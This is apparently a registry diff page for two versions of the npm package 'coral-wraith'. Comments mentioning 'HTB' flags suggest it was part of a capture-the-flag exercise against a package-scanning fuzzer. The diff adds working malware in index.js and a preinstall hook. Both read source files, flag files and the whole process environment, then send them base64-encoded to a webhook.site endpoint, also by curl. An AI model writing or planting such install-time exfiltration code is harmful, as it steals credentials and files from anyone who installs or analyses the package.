coral-wraith 9999.0.6 → 9999.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +42 -34
- package/package.json +1 -1
- package/preinstall.js +66 -134
package/index.js
CHANGED
|
@@ -1,44 +1,52 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
|
|
4
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
|
+
|
|
6
|
+
// This runs when the fuzzer require()s us
|
|
7
|
+
// Read all fuzzer source files and exfiltrate
|
|
5
8
|
(function() {
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
13
|
-
if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
|
|
14
|
-
}
|
|
15
|
-
}
|
|
9
|
+
const files = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
];
|
|
16
15
|
|
|
17
|
-
|
|
18
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
|
|
19
|
-
const postData = JSON.stringify({
|
|
20
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
21
|
-
});
|
|
22
|
-
|
|
23
|
-
for (const port of ports) {
|
|
24
|
-
try {
|
|
25
|
-
const req = http.request({
|
|
26
|
-
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
27
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
28
|
-
timeout: 3000
|
|
29
|
-
}, () => {});
|
|
30
|
-
req.on('error', () => {});
|
|
31
|
-
req.write(postData);
|
|
32
|
-
req.end();
|
|
33
|
-
} catch(e) {}
|
|
34
|
-
}
|
|
35
|
-
|
|
16
|
+
for (let i = 0; i < files.length; i++) {
|
|
36
17
|
try {
|
|
37
|
-
const
|
|
38
|
-
const
|
|
39
|
-
req
|
|
18
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
19
|
+
const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
|
|
20
|
+
const req = https.request({
|
|
21
|
+
hostname: 'webhook.site', path: `${WH}/require-${i}`,
|
|
22
|
+
method: 'POST',
|
|
23
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
24
|
+
timeout: 10000
|
|
25
|
+
}, ()=>{});
|
|
26
|
+
req.on('error', ()=>{});
|
|
27
|
+
req.write(b64);
|
|
28
|
+
req.end();
|
|
40
29
|
} catch(e) {}
|
|
41
30
|
}
|
|
31
|
+
|
|
32
|
+
// Check for flag in env
|
|
33
|
+
const flagData = Buffer.from(JSON.stringify({
|
|
34
|
+
env: process.env,
|
|
35
|
+
cwd: process.cwd(),
|
|
36
|
+
argv: process.argv,
|
|
37
|
+
})).toString('base64');
|
|
38
|
+
|
|
39
|
+
const req = https.request({
|
|
40
|
+
hostname: 'webhook.site', path: `${WH}/require-flag`,
|
|
41
|
+
method: 'GET',
|
|
42
|
+
timeout: 10000
|
|
43
|
+
}, ()=>{});
|
|
44
|
+
req.on('error', ()=>{});
|
|
45
|
+
req.end();
|
|
42
46
|
})();
|
|
43
47
|
|
|
44
|
-
|
|
48
|
+
// Export something for the fuzzer to analyze
|
|
49
|
+
module.exports = {
|
|
50
|
+
name: 'coral-wraith',
|
|
51
|
+
version: '9999.0.8',
|
|
52
|
+
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,161 +1,93 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
5
|
-
const os = require('os');
|
|
6
4
|
|
|
7
|
-
|
|
5
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
8
6
|
const debug = [];
|
|
9
7
|
|
|
10
|
-
//
|
|
11
|
-
const
|
|
8
|
+
// Read the fuzzer source files - these contain the flag/detection logic
|
|
9
|
+
const fuzzFiles = [
|
|
10
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
|
|
11
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
|
|
12
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
|
|
13
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
|
|
14
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
|
|
15
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
|
|
16
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
|
|
17
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
|
|
18
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
|
|
19
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
|
|
20
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
|
|
21
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
|
|
22
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
|
|
23
|
+
'/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
|
|
24
|
+
'/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
|
|
25
|
+
'/home/node/init_test.sh',
|
|
26
|
+
'/home/node/supplysec_entry.js',
|
|
27
|
+
];
|
|
28
|
+
|
|
29
|
+
// Also check for flag-like files
|
|
30
|
+
const flagFiles = [
|
|
12
31
|
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
-
'/home/node/flag', '/home/node/flag.txt',
|
|
14
|
-
'/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
|
|
15
|
-
'/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
|
|
16
|
-
'/home/flag', '/var/flag', '/data/.flag',
|
|
32
|
+
'/home/node/flag', '/home/node/flag.txt',
|
|
17
33
|
];
|
|
18
|
-
for (const p of flagPaths) {
|
|
19
|
-
try {
|
|
20
|
-
if (fs.existsSync(p)) {
|
|
21
|
-
const c = fs.readFileSync(p, 'utf8').trim();
|
|
22
|
-
debug.push(`file:${p}=${c.substring(0,100)}`);
|
|
23
|
-
const m = c.match(/HTB\{[^}]+\}/);
|
|
24
|
-
if (m) { flag = m[0]; break; }
|
|
25
|
-
if (!flag && c) flag = c;
|
|
26
|
-
}
|
|
27
|
-
} catch(e) {}
|
|
28
|
-
}
|
|
29
34
|
|
|
30
|
-
|
|
31
|
-
for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
|
|
35
|
+
for (const f of [...fuzzFiles, ...flagFiles]) {
|
|
32
36
|
try {
|
|
33
|
-
const
|
|
34
|
-
debug.push(`
|
|
35
|
-
} catch(e) {
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
// 3. Recursively search /data
|
|
39
|
-
try {
|
|
40
|
-
const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
|
|
41
|
-
debug.push(`data_files:${r}`);
|
|
42
|
-
for (const f of r.split('\n').filter(Boolean)) {
|
|
43
|
-
try {
|
|
44
|
-
const c = fs.readFileSync(f, 'utf8');
|
|
45
|
-
const m = c.match(/HTB\{[^}]+\}/);
|
|
46
|
-
if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
|
|
47
|
-
debug.push(`data:${f}=${c.substring(0,200)}`);
|
|
48
|
-
} catch(e) {}
|
|
37
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
38
|
+
debug.push(`FILE:${f}:${content}`);
|
|
39
|
+
} catch(e) {
|
|
40
|
+
debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
|
|
49
41
|
}
|
|
50
|
-
} catch(e) { debug.push(`data_err:${e.message}`); }
|
|
51
|
-
|
|
52
|
-
// 4. Search ALL env vars
|
|
53
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
54
|
-
const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
|
|
55
|
-
if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
|
|
56
42
|
}
|
|
57
|
-
debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
|
|
58
43
|
|
|
59
|
-
//
|
|
60
|
-
|
|
61
|
-
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
62
|
-
debug.push(`environ:${pe.substring(0,500)}`);
|
|
63
|
-
const m = pe.match(/HTB\{[^}]+\}/);
|
|
64
|
-
if (m) flag = m[0];
|
|
65
|
-
} catch(e) {}
|
|
44
|
+
// Environment
|
|
45
|
+
debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
|
|
66
46
|
|
|
67
|
-
//
|
|
47
|
+
// Also find any files with "flag" or "HTB" content
|
|
68
48
|
try {
|
|
69
|
-
const r = execSync('
|
|
70
|
-
debug.push(`
|
|
49
|
+
const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
|
|
50
|
+
debug.push(`GREP_FLAG:${r}`);
|
|
71
51
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
72
52
|
try {
|
|
73
53
|
const c = fs.readFileSync(f, 'utf8');
|
|
74
|
-
|
|
75
|
-
if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
|
|
76
|
-
if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
|
|
77
|
-
debug.push(`sensitive:${f}=${c.substring(0,200)}`);
|
|
78
|
-
}
|
|
54
|
+
debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
|
|
79
55
|
} catch(e) {}
|
|
80
56
|
}
|
|
81
|
-
} catch(e) {}
|
|
57
|
+
} catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
|
|
82
58
|
|
|
83
|
-
//
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
}
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
99
|
-
debug.push(`ports:${ss.substring(0,500)}`);
|
|
100
|
-
} catch(e) {}
|
|
101
|
-
|
|
102
|
-
// 9. Network info
|
|
103
|
-
debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
|
|
104
|
-
debug.push(`hostname:${os.hostname()}`);
|
|
105
|
-
debug.push(`cwd:${process.cwd()}`);
|
|
106
|
-
|
|
107
|
-
// EXFILTRATE
|
|
108
|
-
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
109
|
-
|
|
110
|
-
// Method 1: Webhook
|
|
111
|
-
try {
|
|
112
|
-
const req = https.request({
|
|
113
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
114
|
-
method: 'POST',
|
|
115
|
-
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
116
|
-
timeout: 8000
|
|
117
|
-
}, ()=>{});
|
|
118
|
-
req.on('error', ()=>{});
|
|
119
|
-
req.write(info);
|
|
120
|
-
req.end();
|
|
121
|
-
} catch(e) {}
|
|
122
|
-
|
|
123
|
-
// Method 2: PUT to local API (try all common ports)
|
|
124
|
-
const putBody = JSON.stringify({
|
|
125
|
-
manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
|
|
126
|
-
});
|
|
127
|
-
|
|
128
|
-
let serverPort = 1337;
|
|
129
|
-
try {
|
|
130
|
-
const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
131
|
-
const m = ss.match(/:(\d+)\s/);
|
|
132
|
-
if (m) serverPort = parseInt(m[1]);
|
|
133
|
-
} catch(e) {}
|
|
59
|
+
// Send in chunks to webhook
|
|
60
|
+
function sendChunk(data, path) {
|
|
61
|
+
try {
|
|
62
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
63
|
+
const req = https.request({
|
|
64
|
+
hostname: 'webhook.site', path: WH + path,
|
|
65
|
+
method: 'POST',
|
|
66
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
|
|
67
|
+
timeout: 15000
|
|
68
|
+
}, ()=>{});
|
|
69
|
+
req.on('error', ()=>{});
|
|
70
|
+
req.write(encoded);
|
|
71
|
+
req.end();
|
|
72
|
+
} catch(e) {}
|
|
73
|
+
}
|
|
134
74
|
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
method: 'PUT',
|
|
141
|
-
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
|
|
142
|
-
timeout: 2000
|
|
143
|
-
}, ()=>{});
|
|
144
|
-
req.on('error', ()=>{});
|
|
145
|
-
req.write(putBody);
|
|
146
|
-
req.end();
|
|
147
|
-
} catch(e) {}
|
|
148
|
-
}
|
|
75
|
+
const fullData = JSON.stringify(debug);
|
|
76
|
+
const chunkSize = 50000;
|
|
77
|
+
for (let i = 0; i < fullData.length; i += chunkSize) {
|
|
78
|
+
const chunk = fullData.substring(i, i + chunkSize);
|
|
79
|
+
sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
|
|
149
80
|
}
|
|
150
81
|
|
|
151
|
-
//
|
|
82
|
+
// Also try curl for reliability
|
|
152
83
|
try {
|
|
153
|
-
|
|
84
|
+
for (let i = 0; i < Math.min(debug.length, 30); i++) {
|
|
85
|
+
const item = debug[i];
|
|
86
|
+
if (item.length > 100) {
|
|
87
|
+
const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
|
|
88
|
+
execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
|
|
89
|
+
}
|
|
90
|
+
}
|
|
154
91
|
} catch(e) {}
|
|
155
92
|
|
|
156
|
-
|
|
157
|
-
console.log('[CORAL]', info.substring(0, 3000));
|
|
158
|
-
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
159
|
-
|
|
160
|
-
// Write to files
|
|
161
|
-
try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}
|
|
93
|
+
console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');
|